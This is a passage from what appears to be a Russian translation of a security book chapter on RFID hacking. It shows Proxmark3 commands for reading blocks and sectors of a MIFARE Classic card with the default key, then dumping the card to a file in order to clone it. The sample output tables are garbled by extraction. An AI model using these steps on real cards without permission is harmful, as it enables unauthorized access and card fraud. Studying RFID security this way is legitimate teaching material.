Обладая ключами, вы можете начать чтение секторов или блоков с помощью параметра rdbl. Следующая команда считывает блок но- мер 0 с помощью ключа A FFFFFFFFFFFF:
proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF
--block no:0, key type:A, key:FF FF FF FF FF FF data: B4 6F 6F 79 CD 08 04 00 01 2A 51 62 0B D9 BB 1D
Вы можете прочитать весь сектор, используя ту же методику, с по мощью команды hf mf rdsc:
proxmark3> hf mf rdsc 0 |
A FFFFFFFFFFFF |
|
|
||||
--sector no:0 key |
type:A key:FF FF FF FF FF FF |
|
|||||
isOk:01 |
|
|
|
|
|
|
|
data |
: B4 6F 6F |
79 |
CD |
08 04 |
00 01 2A |
51 62 0B D9 |
BB 1D |
data |
: 00 00 00 |
00 00 |
00 00 |
00 00 00 |
00 00 00 00 |
00 00 |
|
data |
: 00 00 00 |
00 00 |
00 00 |
00 00 00 |
00 00 00 00 |
00 00 |
|
trailer: 00 00 00 |
00 00 |
00 FF |
07 80 69 |
FF FF FF FF FF FF |
|||
Trailer decoded: |
|
|
|
|
|
|
|
Access block 0: rdAB wrAB incAB dectrAB |
|
|
|||||
Access block 1: rdAB wrAB incAB dectrAB |
|
|
|||||
Access block 2: rdAB wrAB incAB dectrAB |
|
|
|||||
Access block 3: wrAbyA rdCbyA |
wrCbyA rdBbyA wrBbyA |
|
|||||
UserData: 69 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ЧтобыклонироватькартуMIFARE,используйтепараметрdump. Этот параметр записывает файл со всей информацией из исходной карты. Вы можете сохранить и повторно использовать этот файл позже,что- бы создать новую, свежую копию исходной карты.
Параметр dump позволяет вам назначить имя файла или тип карты, дамп которой вы хотите сохранить. Просто передайте размер памя- ти карты. В этом примере мы используем 1 для размера памяти 1 КБ (хотя, поскольку 1 является размером по умолчанию, можно было бы его опустить). Команда использует ключи, которые мы сохранили в файле dumpkeys.bin для доступа к карте:
proxmark3> hf mf dump 1
[=]Reading sector access bits...
...
[+] Finished reading sector access bits
[=]Dumping all blocks from card...
[+] successfully read block 0 of sector 0.
Радио ближнего действия: взлом rFID 295